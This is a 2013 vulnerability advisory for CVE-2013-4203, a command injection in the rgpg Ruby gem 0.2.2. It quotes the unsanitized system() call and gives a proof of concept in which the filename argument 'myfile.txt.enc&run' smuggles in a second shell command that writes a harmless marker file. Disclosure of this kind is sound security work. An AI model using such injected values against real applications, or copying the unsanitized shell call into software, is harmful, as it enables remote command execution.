Title: Rgpg 0.2.2 Ruby Gem Remote Command Injection
Date: 7/31/2013
Advisory Author: Larry W. Cashdollar, @_larry0
CVE: CVE-2013-4203
Description:
"A simple Ruby wrapper around gpg command for file encryption.
rgpg is a simple API for interacting with the gpg tool. It is specifically designed to avoid altering global keyring state by creating temporary public and secret keyrings on the fly for encryption and decryption."
Vulnerability:
The following code snippet does not sanitize user supplied input before passing it to the System () function for execution. If this ApI is used in the context of a rails application remote commands can be injected into the shell.
in lib/rgpg/gpg_helper.rb:
68 begin
69 outputfile.close
70 result = system("#{commandline} > #{output_file.path} 2>&1")
71 ensure
PoC:
Our test code:
larry@sp0rk:~$ cat /bin/run
#!/bin/sh
echo "Command Injection" > /tmp/rci.txt
irb(main):027:0* Rgpg::GpgHelper.encrypt_file 'mykey.pub', 'myfile.txt', 'myfile.txt.enc&run'
=> nil
irb(main):028:0> gpg: keyring `/tmp/gpg-key-ring20130804-2970-1et1k4c' created
gpg: processing message failed: eof
After above completes:
larry@sp0rk:~$ ls -l /tmp/rci.txt
-rw-rw-r-- 1 larry larry 18 Aug 4 11:12 /tmp/rci.txt
larry@sp0rk:~$ cat /tmp/rci.txt
Command Injection
larry@sp0rk:~$
Author: Notified 8/1/2013.
Fixed: in 0.2.3. 8/1/2013.
Greets to all@DEFCON21.
